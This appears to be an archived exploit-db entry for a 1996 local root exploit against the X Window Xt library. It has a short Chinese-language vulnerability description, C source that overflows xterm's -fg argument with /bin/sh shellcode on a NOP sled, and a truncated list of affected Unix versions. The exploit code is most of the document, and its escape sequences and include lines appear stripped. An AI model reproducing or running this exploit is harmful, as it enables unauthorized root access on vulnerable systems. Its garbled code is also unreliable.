https://www.exploit-db.com/exploits/322
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199705-001

XWindowing系统的Xt库存在缓冲区溢出漏洞。本地用户可以利用该漏洞执行根权限命令。

#include 
#include 
#include 

#define DEFAULT_OFFSET          0
#define BUFFER_SIZE             1491

long get_esp(void)
{
   __asm__("movl %esp,%eaxn");
}

main(int argc, char **argv)
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   char execshell[] = "xebx23" "x5e" "x8dx1e" "x89x5ex0b" "x31xd2"
   "x89x56x07" "x89x56x0f" "x89x56x14" "x88x56x19" "x31xc0"
   "xb0x3b" "x8dx4ex0b" "x89xca" "x52" "x51" "x53" "x50"
"xebx18"
   "xe8xd8xffxffxff" "/bin/sh" "x01x01x01x01" "x02x02x02x02"
   "x03x03x03x03" "x9ax04x04x04x04x07x04";

   int i, ofs=DEFAULT_OFFSET, bs=BUFFER_SIZE;

   if(argc>1)
        ofs=atoi(argv[1]);
   if(argc>2)
        bs=atoi(argv[2]);
   printf("Using offset of esp + %d (%x)nBuffer size %dn",
        ofs, get_esp()+ofs, bs);

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memoryn");
      exit(0);
   }
   ptr = buff;
   memset(ptr, 0x90, bs-strlen(execshell));
   ptr += bs-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0;i < (8/4);i++)
      *(addr_ptr++) = get_esp() + ofs;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/X11R6/bin/xterm", "xterm", "-fg", buff, NULL);
}


// milw0rm.com [1996-08-24]

VulnerablesoftwareandversionsConfiguration1OR*cpe:/o:sgi:irix:4.0*cpe:/o:sgi:irix:5.0*cpe:/o:sgi:irix:5.3*cpe:/o:sgi:irix:6.0*cpe:/o:sgi:irix:6.1*cpe:/o:sgi:irix:6.2*cpe:/o:sgi:irix:6.3*cpe:/o:sgi:irix:6.4Configuration2OR*cpe:/o:bsdi:bsd_os:2.0*cpe:/o:bsdi:bsd_os:2.0.1*cpe:/o:bsdi:bsd_os:2.1*cpe:/o:freebsd:freebsd:1.1.5.1*cpe:/o:freebsd:freebsd:2.0*cpe:/o:hp:hp-ux:10.00*cpe:/o:hp:hp-ux:10.01*cpe:/o:hp:hp-ux:10.08*cpe:/o:hp:hp-ux:10.09*cpe:/o:hp:hp-ux:10.10*cpe:/o:hp:hp-ux:10.16*cpe:/o:hp:hp-ux:10.20*cpe:/o:hp:hp-ux:10.24*cpe:/o:hp:hp-ux:10.30*cpe:/o:hp:hp-ux:10.34*cpe:/o:hp:hp-ux:9.00*cpe:/o:hp:hp-ux:9.01*cpe:/o:hp:hp-ux:9.10*cpe:/o:ibm:aix:3.2*cpe:/o:ibm:aix:4.1*cpe:/o:ibm:aix:4.2*cpe:/o:nec:asl_ux_4800:64*cpe:/o:nec:ews-ux_v:4.2*cpe:/o:nec:ews-ux_v:4.2mp*cpe:/o:nec:up-ux_v:4.2mp*cpe:/o:sun:solaris:2.3*cpe:/o:sun:solaris:2.4*cpe:/o:sun:solaris:2.4::x86*cpe:/o:sun:solaris:2.5*cpe:/o:sun:solaris:2.5.1*cpe:/o:sun:solaris:2.5.1::x86*cpe:/o:sun:solaris:2.5::x86*cpe:/o:sun:sunos:4.1.3*cpe:/